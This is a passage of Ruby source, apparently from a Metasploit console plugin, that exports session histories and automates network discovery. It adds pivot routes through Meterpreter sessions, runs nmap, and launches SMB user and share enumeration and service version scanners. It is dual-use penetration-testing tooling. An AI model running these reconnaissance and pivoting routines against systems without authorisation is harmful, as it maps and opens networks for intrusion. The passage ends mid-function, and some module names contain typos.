#------------------------------------------------------------------------------------------- 847 | def make_sessions_rc 848 | sessions_uuids = [] 849 | sessions_info = [] 850 | info = "" 851 | rc_file = "" 852 | rc_file_name = "" 853 | rc_list =[] 854 | 855 | framework.db.workspace.events.each do |e| 856 | if not e.info.nil? and e.info.has_key?(:command) and e.info[:session_type] =~ /meter/ 857 | if e.info[:command] != "load stdapi" 858 | if not sessions_uuids.include?(e.info[:session_uuid]) 859 | sessions_uuids << e.info[:session_uuid] 860 | sessions_info << {:uuid => e.info[:session_uuid], 861 | :type => e.info[:session_type], 862 | :id => e.info[:session_id], 863 | :info => e.info[:session_info]} 864 | end 865 | end 866 | end 867 | end 868 | 869 | sessions_uuids.each do |su| 870 | sessions_info.each do |i| 871 | if su == i[:uuid] 872 | print_line("Creating RC file for Session #{i[:id]}") 873 | rc_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.rc" 874 | i.each do |k,v| 875 | info << "#{k.to_s}: #{v.to_s} " 876 | end 877 | break 878 | end 879 | end 880 | rc_file << "# Info: #{info}\n" 881 | info = "" 882 | framework.db.workspace.events.each do |e| 883 | if not e.info.nil? and e.info.has_key?(:command) and e.info.has_key?(:session_uuid) 884 | if e.info[:session_uuid] == su 885 | rc_file << "# command executed at #{e.created_at}\n" 886 | rc_file << "#{e.info[:command]}\n" 887 | end 888 | end 889 | end 890 | # Set RC file path and file name 891 | consonle_rc_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name) 892 | rc_full_path = ::File.join(consonle_rc_path,rc_file_name) 893 | print_line("Saving RC file to #{rc_full_path}") 894 | file_write(rc_full_path, rc_file) 895 | rc_file = "" 896 | print_line("RC file written") 897 | rc_list << rc_full_path 898 | end 899 | 900 | return rc_list 901 | end 902 | 903 | # Method for exporting session history with output 904 | #------------------------------------------------------------------------------------------- 905 | def make_sessions_logs 906 | sessions_uuids = [] 907 | sessions_info = [] 908 | info = "" 909 | hist_file = "" 910 | hist_file_name = "" 911 | log_list = [] 912 | 913 | # Create list of sessions with base info 914 | framework.db.workspace.events.each do |e| 915 | if not e.info.nil? and e.info[:session_type] =~ /shell/ or e.info[:session_type] =~ /meter/ 916 | if e.info[:command] != "load stdapi" 917 | if not sessions_uuids.include?(e.info[:session_uuid]) 918 | sessions_uuids << e.info[:session_uuid] 919 | sessions_info << {:uuid => e.info[:session_uuid], 920 | :type => e.info[:session_type], 921 | :id => e.info[:session_id], 922 | :info => e.info[:session_info]} 923 | end 924 | end 925 | end 926 | end 927 | 928 | sessions_uuids.each do |su| 929 | sessions_info.each do |i| 930 | if su == i[:uuid] 931 | print_line("Exporting Session #{i[:id]} history") 932 | hist_file_name = "#{framework.db.workspace.name}_session_#{i[:id]}_#{::Time.now.strftime("%Y%m%d.%M%S")}.log" 933 | i.each do |k,v| 934 | info << "#{k.to_s}: #{v.to_s} " 935 | end 936 | break 937 | end 938 | end 939 | hist_file << "# Info: #{info}\n" 940 | info = "" 941 | framework.db.workspace.events.each do |e| 942 | if not e.info.nil? and e.info.has_key?(:command) or e.info.has_key?(:output) 943 | if e.info[:session_uuid] == su 944 | if e.info.has_key?(:command) 945 | hist_file << "#{e.updated_at}\n" 946 | hist_file << "#{e.info[:command]}\n" 947 | elsif e.info.has_key?(:output) 948 | hist_file << "#{e.updated_at}\n" 949 | hist_file << "#{e.info[:output]}\n" 950 | end 951 | end 952 | end 953 | end 954 | 955 | # Set RC file path and file name 956 | session_hist_path = ::File.join(Msf::Config.log_directory,"projects",framework.db.workspace.name) 957 | session_hist_fullpath = ::File.join(session_hist_path,hist_file_name) 958 | 959 | # Create folder 960 | ::FileUtils.mkdir_p(session_hist_path) 961 | 962 | print_line("Saving log file to #{session_hist_fullpath}") 963 | file_write(session_hist_fullpath, hist_file) 964 | hist_file = "" 965 | print_line("Log file written") 966 | log_list << session_hist_fullpath 967 | end 968 | 969 | return log_list 970 | end 971 | 972 | # Compress a given folder given it's path 973 | #------------------------------------------------------------------------------------------- 974 | def compress(path,archive) 975 | require 'zip/zip' 976 | require 'zip/zipfilesystem' 977 | 978 | path.sub!(%r[/$],'') 979 | ::Zip::ZipFile.open(archive, 'w') do |zipfile| 980 | Dir["#{path}/**/**"].reject{|f|f==archive}.each do |file| 981 | print_line("Adding #{file} to archive") 982 | zipfile.add(file.sub(path+'/',''),file) 983 | end 984 | end 985 | print_line("All files saved to #{archive}") 986 | end 987 | 988 | # Method to write string to file 989 | def file_write(file2wrt, data2wrt) 990 | if not ::File.exists?(file2wrt) 991 | ::FileUtils.touch(file2wrt) 992 | end 993 | 994 | output = ::File.open(file2wrt, "a") 995 | data2wrt.each_line do |d| 996 | output.puts(d) 997 | end 998 | output.close 999 | end 1000 | 1001 | # Method to create MD5 of given file 1002 | def digestmd5(file2md5) 1003 | if not ::File.exists?(file2md5) 1004 | raise "File #{file2md5} does not exists!" 1005 | else 1006 | require 'digest/md5' 1007 | chksum = nil 1008 | chksum = Digest::MD5.hexdigest(::File.open(file2md5, "rb") { |f| f.read}) 1009 | return chksum 1010 | end 1011 | end 1012 | 1013 | # Method that returns a hash of projects 1014 | def project_list 1015 | project_folders = Dir::entries(::File.join(Msf::Config.log_directory,"projects")) 1016 | projects = [] 1017 | framework.db.workspaces.each do |s| 1018 | if project_folders.include?(s.name) 1019 | projects << s.name 1020 | end 1021 | end 1022 | return projects 1023 | end 1024 | 1025 | end 1026 | 1027 | # Discovery handling commands 1028 | ################################################################################################ 1029 | class DiscoveryCommandDispatcher 1030 | include Msf::Ui::Console::CommandDispatcher 1031 | 1032 | # Set name for command dispatcher 1033 | def name 1034 | "Discovery" 1035 | end 1036 | 1037 | 1038 | # Define Commands 1039 | def commands 1040 | { 1041 | "network_discover" => "Performs a port-scan and enumeration of services found for non pivot networks.", 1042 | "discover_db" => "Run discovery modules against current hosts in the database.", 1043 | "show_session_networks" => "Enumerate the networks one could pivot thru Meterpreter in the active sessions.", 1044 | "pivot_network_discover" => "Performs enumeration of networks available to a specified Meterpreter session." 1045 | } 1046 | end 1047 | 1048 | 1049 | def cmd_discover_db(*args) 1050 | # Variables 1051 | range = [] 1052 | filter = [] 1053 | smb_user = nil 1054 | smb_pass = nil 1055 | smb_dom = "WORKGROUP" 1056 | maxjobs = 30 1057 | verbose = false 1058 | 1059 | # Define options 1060 | opts = Rex::Parser::Arguments.new( 1061 | "-r" => [ true, "Provide a IPRange or CIDR to run discovery module against."], 1062 | "-U" => [ true, "SMB User-name for discovery(optional)."], 1063 | "-P" => [ true, "SMB Password for discovery(optional)."], 1064 | "-D" => [ true, "SMB Domain for discovery(optional)."], 1065 | "-j" => [ true, "Max number of concurrent jobs. Default is 30"], 1066 | "-v" => [ false, "Be Verbose when running jobs."], 1067 | "-h" => [ false, "Help Message."] 1068 | ) 1069 | 1070 | opts.parse(args) do |opt, idx, val| 1071 | case opt 1072 | 1073 | when "-r" 1074 | range = val 1075 | when "-U" 1076 | smb_user = val 1077 | when "-P" 1078 | smb_pass = val 1079 | when "-D" 1080 | smb_dom = val 1081 | when "-j" 1082 | maxjobs = val.to_i 1083 | when "-v" 1084 | verbose = true 1085 | when "-h" 1086 | print_line opts.usage 1087 | return 1088 | end 1089 | end 1090 | 1091 | # generate a list of IPs to filter 1092 | Rex::Socket::RangeWalker.new(range).each do |i| 1093 | filter << i 1094 | end 1095 | #after_hosts = framework.db.workspace.hosts.find_all_by_state("alive") 1096 | framework.db.workspace.hosts.each do |h| 1097 | if filter.empty? 1098 | run_smb(h.services.where(state: "open"),smb_user,smb_pass,smb_dom,maxjobs, verbose) 1099 | run_version_scans(h.services.where(state: "open"),maxjobs, verbose) 1100 | else 1101 | if filter.include?(h.address) 1102 | # Run the discovery modules for the services of each host 1103 | run_smb(h.services,smb_user,smb_pass,smb_dom,maxjobs, verbose) 1104 | run_version_scans(h.services,maxjobs, verbose) 1105 | end 1106 | end 1107 | end 1108 | end 1109 | 1110 | 1111 | def cmd_show_session_networks(*args) 1112 | #option variables 1113 | session_list = nil 1114 | opts = Rex::Parser::Arguments.new( 1115 | "-s" => [ true, "Sessions to enumerate networks against. Example or <1,2,3,4>."], 1116 | "-h" => [ false, "Help Message."] 1117 | ) 1118 | 1119 | opts.parse(args) do |opt, idx, val| 1120 | case opt 1121 | when "-s" 1122 | if val =~ /all/i 1123 | session_list = framework.sessions.keys 1124 | else 1125 | session_list = val.split(",") 1126 | end 1127 | when "-h" 1128 | print_line("This command will show the networks that can be routed thru a Meterpreter session.") 1129 | print_line(opts.usage) 1130 | return 1131 | else 1132 | print_line("This command will show the networks that can be routed thru a Meterpreter session.") 1133 | print_line(opts.usage) 1134 | return 1135 | end 1136 | end 1137 | tbl = ::Rex::Text::Table.new( 1138 | 'Columns' => [ 1139 | 'Network', 1140 | 'Netmask', 1141 | 'Session' 1142 | ]) 1143 | # Go thru each sessions specified 1144 | if !session_list.nil? 1145 | session_list.each do |si| 1146 | # check that session actually exists 1147 | if framework.sessions.keys.include?(si.to_i) 1148 | # Get session object 1149 | session = framework.sessions.get(si.to_i) 1150 | # Check that it is a Meterpreter session 1151 | if (session.type == "meterpreter") 1152 | session.net.config.each_route do |route| 1153 | # Remove multicast and loopback interfaces 1154 | next if route.subnet =~ /^(224\.|127\.)/ 1155 | next if route.subnet == '0.0.0.0' 1156 | next if route.netmask == '255.255.255.255' 1157 | tbl << [route.subnet, route.netmask, si] 1158 | end 1159 | end 1160 | end 1161 | end 1162 | else 1163 | print_error("No Sessions specified.") 1164 | return 1165 | end 1166 | 1167 | print_line(tbl.to_s) 1168 | end 1169 | 1170 | 1171 | def cmd_pivot_network_discover(*args) 1172 | #option variables 1173 | session_id = nil 1174 | port_scan = false 1175 | udp_scan = false 1176 | disc_mods = false 1177 | smb_user = nil 1178 | smb_pass = nil 1179 | smb_dom = "WORKGROUP" 1180 | verbose = false 1181 | port_lists = [] 1182 | 1183 | opts = Rex::Parser::Arguments.new( 1184 | "-s" => [ true, "Session to do discovery of networks and hosts."], 1185 | "-t" => [ false, "Perform TCP port scan of hosts discovered."], 1186 | "-u" => [ false, "Perform UDP scan of hosts discovered."], 1187 | "-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."], 1188 | "-d" => [ false, "Run Framework discovery modules against found hosts."], 1189 | "-U" => [ true, "SMB User-name for discovery(optional)."], 1190 | "-P" => [ true, "SMB Password for discovery(optional)."], 1191 | "-D" => [ true, "SMB Domain for discovery(optional)."], 1192 | "-v" => [ false, "Be verbose and show pending actions."], 1193 | "-h" => [ false, "Help Message."] 1194 | ) 1195 | 1196 | opts.parse(args) do |opt, idx, val| 1197 | case opt 1198 | when "-s" 1199 | session_id = val.to_i 1200 | when "-t" 1201 | port_scan = true 1202 | when "-u" 1203 | udp_scan = true 1204 | when "-d" 1205 | disc_mods = true 1206 | when "-U" 1207 | smb_user = val 1208 | when "-P" 1209 | smb_pass = val 1210 | when "-D" 1211 | smb_dom = val 1212 | when "-v" 1213 | verbose = true 1214 | when "-p" 1215 | port_lists = port_lists + Rex::Socket.portspec_crack(val) 1216 | when "-h" 1217 | print_line(opts.usage) 1218 | return 1219 | else 1220 | print_line(opts.usage) 1221 | return 1222 | end 1223 | end 1224 | 1225 | if session_id.nil? 1226 | print_error("You need to specify a Session to do discovery against.") 1227 | print_line(opts.usage) 1228 | return 1229 | end 1230 | # Static UDP port list 1231 | udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604] 1232 | 1233 | # Variable to hold the array of networks that we will discover 1234 | networks = [] 1235 | # Switchboard instace for routing 1236 | sb = Rex::Socket::SwitchBoard.instance 1237 | if framework.sessions.keys.include?(session_id.to_i) 1238 | # Get session object 1239 | session = framework.sessions.get(session_id.to_i) 1240 | if (session.type == "meterpreter") 1241 | # Collect addresses to help determine the best method for discovery 1242 | int_addrs = [] 1243 | session.net.config.interfaces.each do |i| 1244 | int_addrs = int_addrs + i.addrs 1245 | end 1246 | print_status("Identifying networks to discover") 1247 | session.net.config.each_route { |route| 1248 | # Remove multicast and loopback interfaces 1249 | next if route.subnet =~ /^(224\.|127\.)/ 1250 | next if route.subnet == '0.0.0.0' 1251 | next if route.netmask == '255.255.255.255' 1252 | # Save the network in to CIDR format 1253 | networks << "#{route.subnet}/#{Rex::Socket.addr_atoc(route.netmask)}" 1254 | if port_scan || udp_scan 1255 | if not sb.route_exists?(route.subnet, route.netmask) 1256 | print_status("Routing new subnet #{route.subnet}/#{route.netmask} through session #{session.sid}") 1257 | sb.add_route(route.subnet, route.netmask, session) 1258 | end 1259 | end 1260 | } 1261 | # Run ARP Scan and Ping Sweep for each of the networks 1262 | networks.each do |n| 1263 | opt = {"RHOSTS" => n} 1264 | # Check if any of the networks is directly connected. If so use ARP Scanner 1265 | net_ips = [] 1266 | Rex::Socket::RangeWalker.new(n).each {|i| net_ips << i} 1267 | if int_addrs.any? {|ip| net_ips.include?(ip) } 1268 | run_post(session_id, "windows/gather/arp_scanner", opt) 1269 | else 1270 | run_post(session_id, "multi/gather/ping_sweep", opt) 1271 | end 1272 | end 1273 | 1274 | # See what hosts where discovered via the ping scan and ARP Scan 1275 | hosts_on_db = framework.db.workspace.hosts.map { |h| h.address} 1276 | 1277 | if port_scan 1278 | if port_lists.length > 0 1279 | ports = port_lists 1280 | else 1281 | # Generate port list that are supported by modules in Metasploit 1282 | ports = get_tcp_port_list 1283 | end 1284 | end 1285 | 1286 | networks.each do |n| 1287 | print_status("Discovering #{n} Network") 1288 | net_hosts = [] 1289 | Rex::Socket::RangeWalker.new(n).each {|i| net_hosts << i} 1290 | found_ips = hosts_on_db & net_hosts 1291 | 1292 | # run portscan against hosts in this network 1293 | if port_scan 1294 | found_ips.each do |t| 1295 | print_good("Running TCP Portscan against #{t}") 1296 | run_aux_module("scanner/portscan/tcp", {"RHOSTS" => t, 1297 | "PORTS"=> (ports * ","), 1298 | "THREADS" => 5, 1299 | "CONCURRENCY" => 50, 1300 | "ConnectTimeout" => 1}) 1301 | jobwaiting(10,false, "scanner") 1302 | end 1303 | end 1304 | 1305 | # if a udp port scan was selected lets execute it 1306 | if udp_scan 1307 | found_ips.each do |t| 1308 | print_good("Running UDP Portscan against #{t}") 1309 | run_aux_module("scanner/discovery/udp_probe", {"RHOSTS" => t, 1310 | "PORTS"=> (udp_ports * ","), 1311 | "THREADS" => 5}) 1312 | jobwaiting(10,false,"scanner") 1313 | end 1314 | end 1315 | 1316 | # Wait for the scanners to finish before running the discovery modules 1317 | if port_scan || udp_scan 1318 | print_status("Waiting for scans to finish") 1319 | finish_scanning = false 1320 | while not finish_scanning 1321 | ::IO.select(nil, nil, nil, 2.5) 1322 | count = get_job_count 1323 | if verbose 1324 | print_status("\t#{count} scans pending") 1325 | end 1326 | if count == 0 1327 | finish_scanning = true 1328 | end 1329 | end 1330 | end 1331 | 1332 | # Run discovery modules against the services that are for the hosts in the database 1333 | if disc_mods 1334 | found_ips.each do |t| 1335 | host = framework.db.find_or_create_host(:host => t) 1336 | found_services = host.services.where(state: "open") 1337 | if found_services.length > 0 1338 | print_good("Running SMB discovery against #{t}") 1339 | run_smb(found_services,smb_user,smb_pass,smb_dom,10,true) 1340 | print_good("Running service discovery against #{t}") 1341 | run_version_scans(found_services,10,true) 1342 | else 1343 | print_status("No new services where found to enumerate.") 1344 | end 1345 | end 1346 | end 1347 | end 1348 | end 1349 | else 1350 | print_error("The Session specified does not exist") 1351 | end 1352 | end 1353 | 1354 | 1355 | # Network Discovery command 1356 | def cmd_network_discover(*args) 1357 | # Variables 1358 | scan_type = "-A" 1359 | range = "" 1360 | disc_mods = false 1361 | smb_user = nil 1362 | smb_pass = nil 1363 | smb_dom = "WORKGROUP" 1364 | maxjobs = 30 1365 | verbose = false 1366 | port_lists = [] 1367 | # Define options 1368 | opts = Rex::Parser::Arguments.new( 1369 | "-r" => [ true, "IP Range to scan in CIDR format."], 1370 | "-d" => [ false, "Run Framework discovery modules against found hosts."], 1371 | "-u" => [ false, "Perform UDP Scanning. NOTE: Must be ran as root."], 1372 | "-U" => [ true, "SMB User-name for discovery(optional)."], 1373 | "-P" => [ true, "SMB Password for discovery(optional)."], 1374 | "-D" => [ true, "SMB Domain for discovery(optional)."], 1375 | "-j" => [ true, "Max number of concurrent jobs. Default is 30"], 1376 | "-p" => [ true, "Port list. Provide a comma separated list of port and/or ranges to TCP scan."], 1377 | "-v" => [ false, "Be Verbose when running jobs."], 1378 | "-h" => [ true, "Help Message."] 1379 | ) 1380 | 1381 | if args.length == 0 1382 | print_line opts.usage 1383 | return 1384 | end 1385 | 1386 | opts.parse(args) do |opt, idx, val| 1387 | case opt 1388 | 1389 | when "-r" 1390 | # Make sure no spaces are in the range definition 1391 | range = val.gsub(" ","") 1392 | when "-d" 1393 | disc_mods = true 1394 | when "-u" 1395 | scan_type = "-sU" 1396 | when "-U" 1397 | smb_user = val 1398 | when "-P" 1399 | smb_pass = val 1400 | when "-D" 1401 | smb_dom = val 1402 | when "-j" 1403 | maxjobs = val.to_i 1404 | when "-v" 1405 | verbose = true 1406 | when "-p" 1407 | port_lists = port_lists + Rex::Socket.portspec_crack(val) 1408 | when "-h" 1409 | print_line opts.usage 1410 | return 1411 | end 1412 | end 1413 | 1414 | # Static UDP port list 1415 | udp_ports = [53,67,137,161,123,138,139,1434,5093,523,1604] 1416 | 1417 | # Check that the ragne is a valid one 1418 | ip_list = Rex::Socket::RangeWalker.new(range) 1419 | ips_given = [] 1420 | if ip_list.length == 0 1421 | print_error("The IP Range provided appears to not be valid.") 1422 | else 1423 | ip_list.each do |i| 1424 | ips_given << i 1425 | end 1426 | end 1427 | 1428 | # Get the list of IP's that are routed thru a Pivot 1429 | route_ips = get_routed_ips 1430 | 1431 | if port_lists.length > 0 1432 | ports = port_lists 1433 | else 1434 | # Generate port list that are supported by modules in Metasploit 1435 | ports = get_tcp_port_list 1436 | end 1437 | if (ips_given.any? {|ip| route_ips.include?(ip)}) 1438 | print_error("Trying to scan thru a Pivot please use pivot_net_discovery command") 1439 | return 1440 | else 1441 | # Collect current set of hosts and services before the scan 1442 | current_hosts = framework.db.workspace.hosts.where(state: "alive") 1443 | current_services = framework.db.workspace.services.where(state: "open") 1444 | 1445 | # Run the nmap scan, this will populate the database with the hosts and services that will be processed by the discovery modules 1446 | if scan_type =~ /-A/ 1447 | cmd_str = "#{scan_type} -T4 -p #{ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}" 1448 | run_porscan(cmd_str) 1449 | else 1450 | cmd_str = "#{scan_type} -T4 -p #{udp_ports * ","} --max-rtt-timeout=500ms --initial-rtt-timeout=200ms --min-rtt-timeout=200ms --open --stats-every 5s #{range}" 1451 | run_porscan(cmd_str) 1452 | end 1453 | # Get a list of the new hosts and services after the scan and extract the new services and hosts 1454 | after_hosts = framework.db.workspace.hosts.where(state: "alive") 1455 | after_services = framework.db.workspace.services.where(state: "open") 1456 | new_hosts = after_hosts - current_hosts 1457 | print_good("New hosts found: #{new_hosts.count}") 1458 | new_services = after_services - current_services 1459 | print_good("New services found: #{new_services.count}") 1460 | end 1461 | 1462 | if disc_mods 1463 | # Do service discovery only if new services where found 1464 | if new_services.count > 0 1465 | run_smb(new_services,smb_user,smb_pass,smb_dom,maxjobs,verbose) 1466 | run_version_scans(new_services,maxjobs,verbose) 1467 | else 1468 | print_status("No new services where found to enumerate.") 1469 | end 1470 | end 1471 | end 1472 | 1473 | 1474 | # Run Post Module against specified session and hash of options 1475 | def run_post(session, mod, opts) 1476 | m = framework.post.create(mod) 1477 | begin 1478 | # Check that the module is compatible with the session specified 1479 | if m.session_compatible?(session.to_i) 1480 | m.datastore['SESSION'] = session.to_i 1481 | # Process the option provided as a hash 1482 | opts.each do |o,v| 1483 | m.datastore[o] = v 1484 | end 1485 | # Validate the Options 1486 | m.options.validate(m.datastore) 1487 | # Inform what Post module is being ran 1488 | print_status("Running #{mod} against #{session}") 1489 | # Execute the Post Module 1490 | m.run_simple( 1491 | 'LocalInput' => driver.input, 1492 | 'LocalOutput' => driver.output 1493 | ) 1494 | end 1495 | rescue 1496 | print_error("Could not run post module against sessions #{s}") 1497 | end 1498 | end 1499 | 1500 | 1501 | # Remove services marked as close 1502 | def cleanup() 1503 | print_status("Removing services reported as closed from the workspace...") 1504 | framework.db.workspace.services.where(state: "closed").each do |s| 1505 | s.destroy 1506 | end 1507 | print_status("All services reported removed.") 1508 | end 1509 | 1510 | 1511 | # Get the specific count of jobs which name contains a specified text 1512 | def get_job_count(type="scanner") 1513 | job_count = 0 1514 | framework.jobs.each do |k,j| 1515 | if j.name =~ /#{type}/ 1516 | job_count = job_count + 1 1517 | end 1518 | end 1519 | return job_count 1520 | end 1521 | 1522 | 1523 | # Wait for commands to finish 1524 | def jobwaiting(maxjobs, verbose, jtype) 1525 | while(get_job_count(jtype) >= maxjobs) 1526 | ::IO.select(nil, nil, nil, 2.5) 1527 | if verbose 1528 | print_status("waiting for some modules to finish") 1529 | end 1530 | end 1531 | end 1532 | 1533 | 1534 | # Get a list of IP's that are routed thru a Meterpreter sessions 1535 | # Note: This one bit me hard!! in testing. Make sure that the proper module is ran against 1536 | # the proper host 1537 | def get_routed_ips 1538 | routed_ips = [] 1539 | pivot = Rex::Socket::SwitchBoard.instance 1540 | unless (pivot.routes.to_s == "") || (pivot.routes.to_s == "[]") 1541 | pivot.routes.each do |r| 1542 | sn = r.subnet 1543 | nm = r.netmask 1544 | cidr = Rex::Socket.addr_atoc(nm) 1545 | pivot_ip_range = Rex::Socket::RangeWalker.new("#{sn}/#{cidr}") 1546 | pivot_ip_range.each do |i| 1547 | routed_ips << i 1548 | end 1549 | end 1550 | end 1551 | return routed_ips 1552 | end 1553 | 1554 | 1555 | # Method for running auxiliary modules given the module name and options in a hash 1556 | def run_aux_module(mod, opts, as_job=true) 1557 | m = framework.auxiliary.create(mod) 1558 | if !m.nil? 1559 | opts.each do |o,v| 1560 | m.datastore[o] = v 1561 | end 1562 | m.options.validate(m.datastore) 1563 | m.run_simple( 1564 | 'LocalInput' => driver.input, 1565 | 'LocalOutput' => driver.output, 1566 | 'RunAsJob' => as_job 1567 | ) 1568 | else 1569 | print_error("Module #{mod} does not exist") 1570 | return 1571 | end 1572 | end 1573 | 1574 | 1575 | # Generate an up2date list of ports used by exploit modules 1576 | def get_tcp_port_list 1577 | # UDP ports 1578 | udp_ports = [53,67,137,161,123,138,139,1434] 1579 | 1580 | # Ports missing by the autogen 1581 | additional_ports = [465,587,995,993,5433,50001,50002,1524, 6697, 8787, 41364, 48992, 49663, 59034] 1582 | 1583 | print_status("Generating list of ports used by Auxiliary Modules") 1584 | ap = (framework.auxiliary.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact 1585 | print_status("Generating list of ports used by Exploit Modules") 1586 | ep = (framework.exploits.collect { |n,e| x=e.new; x.datastore['RPORT'].to_i}).compact 1587 | 1588 | # Join both list removing the duplicates 1589 | port_list = (((ap | ep) - [0,1]) - udp_ports) + additional_ports 1590 | return port_list 1591 | end 1592 | 1593 | 1594 | # Run Nmap scan with values provided 1595 | def run_porscan(cmd_str) 1596 | print_status("Running NMap with options #{cmd_str}") 1597 | driver.run_single("db_nmap #{cmd_str}") 1598 | return true 1599 | end 1600 | 1601 | 1602 | # Run SMB Enumeration modules 1603 | def run_smb(services, user, pass, dom, maxjobs, verbose) 1604 | smb_mods = [ 1605 | {"mod" => "scanner/smb/smb_version", "opt" => nil}, 1606 | {"mod" => "scanner/smb/smb_enumusers", "opt" => nil}, 1607 | {"mod" => "scanner/smb/smb_enumshares", "opt" => nil}, 1608 | ] 1609 | smb_mods.each do |p| 1610 | m = framework.auxiliary.create(p["mod"]) 1611 | services.each do |s| 1612 | if s.port == 445 1613 | m.datastore['RHOSTS'] = s.host.address 1614 | if not user.nil? and pass.nil? 1615 | m.datastore['SMBUser'] = user 1616 | m.datastore['SMBPass'] = pass 1617 | m.datastore['SMBDomain'] = dom 1618 | end 1619 | m.options.validate(m.datastore) 1620 | print_status("Running #{p['mod']} against #{s.host.address}") 1621 | m.run_simple( 1622 | 'LocalInput' => driver.input, 1623 | 'LocalOutput' => driver.output 1624 | ) 1625 | end 1626 | 1627 | end 1628 | jobwaiting(maxjobs,verbose,"scanner") 1629 | end 1630 | end 1631 | 1632 | 1633 | # Run version and discovery auxiliary modules depending on port that is open 1634 | def run_version_scans(services, maxjobs, verbose) 1635 | # Run version scan by identified services 1636 | services.each do |s| 1637 | if (s.port == 135) and s.info.to_s == "" 1638 | opts = {'RHOSTS' => s.host.address} 1639 | run_aux_module("scanner/netbios/nbname_probe",opts) 1640 | jobwaiting(maxjobs,verbose,"scanner") 1641 | 1642 | elsif (s.name.to_s == "http" || s.port == 80) and s.info.to_s == "" 1643 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1644 | run_aux_module("scanner/http/http_version",opts) 1645 | run_aux_module("scanner/http/robots_txt",opts) 1646 | run_aux_module("scanner/http/open_proxy",opts) 1647 | run_aux_module("scanner/http/webdav_scanner",opts) 1648 | run_aux_module("scanner/http/http_put",opts) 1649 | jobwaiting(maxjobs,verbose,"scanner") 1650 | next 1651 | 1652 | elsif (s.port == 1720) and s.info.to_s == "" 1653 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1654 | run_aux_module("scanner/h323/h323_version",opts) 1655 | jobwaiting(maxjobs,verbose,"scanner") 1656 | next 1657 | 1658 | elsif (s.name.to_s =~ /http/ or s.port == 443) and s.info.to_s == "" 1659 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true} 1660 | run_aux_module("scanner/http/http_version",opts) 1661 | run_aux_module("scanner/vmware/esx_fingerprint",opts) 1662 | run_aux_module("scanner/http/robots_txt",opts) 1663 | run_aux_module("scanner/http/open_proxy",opts) 1664 | run_aux_module("scanner/http/webdav_scanner",opts) 1665 | run_aux_module("scanner/http/http_put",opts) 1666 | jobwaiting(maxjobs,verbose,"scanner") 1667 | next 1668 | 1669 | elsif (s.name.to_s == "ftp" or s.port == 21) and s.info.to_s == "" 1670 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1671 | run_aux_module("scanner/ftp/ftp_version",opts) 1672 | run_aux_module("scanner/ftp/anonymous",opts) 1673 | jobwaiting(maxjobs,verbose,"scanner") 1674 | next 1675 | 1676 | elsif (s.name.to_s == "telnet" or s.port == 23) and s.info.to_s == "" 1677 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1678 | run_aux_module("scanner/telnet/telnet_version",opts) 1679 | run_aux_module("scanner/telnet/telnet_encrypt_overflow",opts) 1680 | jobwaiting(maxjobs,verbose,"scanner") 1681 | next 1682 | 1683 | elsif (s.name.to_s =~ /vmware-auth|vmauth/ or s.port == 902) and s.info.to_s == "" 1684 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1685 | run_aux_module("scanner/vmware/vmauthd_version)",opts) 1686 | jobwaiting(maxjobs,verbose,"scanner") 1687 | next 1688 | 1689 | elsif (s.name.to_s == "ssh" or s.port == 22) and s.info.to_s == "" 1690 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1691 | run_aux_module("scanner/ssh/ssh_version",opts) 1692 | jobwaiting(maxjobs,verbose,"scanner") 1693 | next 1694 | 1695 | elsif (s.name.to_s == "smtp" or s.port.to_s =~/25|465|587/) and s.info.to_s == "" 1696 | if s.port == 465 1697 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true} 1698 | else 1699 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1700 | end 1701 | run_aux_module("scanner/smtp/smtp_version",opts) 1702 | jobwaiting(maxjobs,verbose,"scanner") 1703 | next 1704 | 1705 | elsif (s.name.to_s == "pop3" or s.port.to_s =~/110|995/) and s.info.to_s == "" 1706 | if s.port == 995 1707 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true} 1708 | else 1709 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1710 | end 1711 | run_aux_module("scanner/pop3/pop3_version",opts) 1712 | jobwaiting(maxjobs,verbose,"scanner") 1713 | next 1714 | 1715 | elsif (s.name.to_s == "imap" or s.port.to_s =~/143|993/) and s.info.to_s == "" 1716 | if s.port == 993 1717 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port, 'SSL' => true} 1718 | else 1719 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1720 | end 1721 | run_aux_module("scanner/imap/imap_version",opts) 1722 | jobwaiting(maxjobs,verbose,"scanner") 1723 | next 1724 | 1725 | elsif (s.name.to_s == "mssql" or s.port == 1433) and s.info.to_s == "" 1726 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1727 | run_aux_module("scanner/mssql/mssql_versione",opts) 1728 | jobwaiting(maxjobs,verbose,"scanner") 1729 | next 1730 | 1731 | elsif (s.name.to_s == "postgres" or s.port.to_s =~/5432|5433/) and s.info.to_s == "" 1732 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port} 1733 | run_aux_module("scanner/postgres/postgres_version",opts) 1734 | jobwaiting(maxjobs,verbose, "scanner") 1735 | next 1736 | 1737 | elsif (s.name.to_s == "mysql" or s.port == 3306) and s.info.to_s == "" 1738 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1739 | run_aux_module("scanner/mysql/mysql_version",opts) 1740 | jobwaiting(maxjobs,verbose, "scanner") 1741 | next 1742 | 1743 | elsif (s.name.to_s =~ /h323/ or s.port == 1720) and s.info.to_s == "" 1744 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port} 1745 | 